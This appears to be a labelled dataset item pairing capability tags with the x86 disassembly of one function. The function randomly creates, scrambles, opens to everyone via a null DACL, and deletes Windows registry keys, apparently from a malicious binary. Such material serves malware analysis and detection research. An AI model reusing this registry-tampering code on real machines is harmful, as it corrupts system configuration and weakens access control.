Function at 0x40db6e
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc40
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x247]
mov byte [ebp - 0x248], bl
push 0x3d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.rana01x]
pop edx
mov dword [ebp - 0xc40], eax
mov eax, dword [0x427994]
mov dword [ebp - 0xc3c], eax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xc38]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.sara03y]
mov ecx, edx
mov dword [ebp - 0xb41], eax
mov eax, dword [0x42798c]
mov dword [ebp - 0xb3d], eax
xor eax, eax
lea edi, [ebp - 0xb39]
mov esi, str.rasobh00a
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.alra02z]
mov ecx, edx
mov dword [ebp - 0xa42], eax
mov eax, dword [0x427978]
mov dword [ebp - 0xa3e], eax
xor eax, eax
lea edi, [ebp - 0xa3a]
mov dword [ebp - 0x18], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x943]
mov ecx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x939]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, str.rarnjn00b
lea edi, [ebp - 0x844]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x83a]
mov esi, str.rayat00c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0x745]
mov ecx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x73c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x2c], closesocket
mov dword [ebp - 0x28], closesocket
mov dword [ebp - 0x24], closesocket
mov dword [ebp - 0x20], reloc.WSOCK32.dll_closesocket
mov dword [ebp - 0x1c], 0x80000005
mov esi, str.pkrapc00a
stosw word es:[edi], ax
lea edi, [ebp - 0x646]
mov ecx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x63c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [str.jpra00b]
mov ecx, edx
mov dword [ebp - 0x547], eax
mov eax, dword [0x42794c]
mov dword [ebp - 0x543], eax
xor eax, eax
lea edi, [ebp - 0x53f]
mov esi, str.rasra00c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x448]
mov ecx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x43f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, str.aishwarya
lea edi, [ebp - 0x349]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x33f]
push ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
call fcn.0040413e
push eax
call fcn.00418e6f
pop ecx
pop ecx
call fcn.00418e7c
push 5
cdq
pop ecx
idiv ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push ebx
push ebx
push dword [ebp + edx*4 - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dd44
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push ebx
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x40dd4c
push 1
pop eax
jmp 0x40def6
mov dword [ebp - 0xc], ebx
call fcn.00418e7c
push 2
cdq
pop ecx
idiv ecx
mov esi, edx
call fcn.00418e7c
xor edx, edx
div dword [ebp - 0x18]
cmp esi, ebx
je 0x40ddca
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x248]
mov dword [ebp - 8], 0x100
push eax
push edx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x40dede
lea eax, [ebp - 0x14]
push eax
push 0x20019
lea eax, [ebp - 0x248]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dede
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
jmp 0x40ded8
mov esi, str.Value
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x147]
mov byte [ebp - 0x148], bl
mov dword [ebp - 8], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00418e7c
push 0xa
cdq
pop ecx
idiv ecx
push 1
lea eax, [ebp - 0x48]
pop edi
push edi
push eax
mov esi, edx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x40defb
push ebx
push ebx
lea eax, [ebp - 0x48]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x40defb
lea eax, [ebp - 0x48]
imul esi, esi, 0xff
mov dword [ebp - 0x20], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
push 0xf003f
mov dword [ebp - 0x1c], edi
push 1
lea edi, [ebp + esi - 0xc40]
push ebx
push ebx
push edi
push dword [ebp - 4]
mov dword [ebp - 0x24], 0xc
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40dede
cmp dword [ebp - 8], 2
jne 0x40de81
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x40dede
xor esi, esi
cmp byte [edi + esi], bl
je 0x40dea8
call fcn.00418e7c
cdq
mov ecx, 0x3e8
idiv ecx
xor dl, byte [edi + esi]
inc esi
cmp esi, 0xff
mov byte [ebp + esi - 0x149], dl
jl 0x40de83
lea eax, [ebp - 0x148]
mov byte [ebp + esi - 0x148], bl
push eax
call fcn.00403ed0
pop ecx
inc eax
push eax
lea eax, [ebp - 0x148]
push eax
push 1
lea eax, [ebp - 0x34]
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x1e
jl 0x40dd4f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, edi
jmp 0x40def6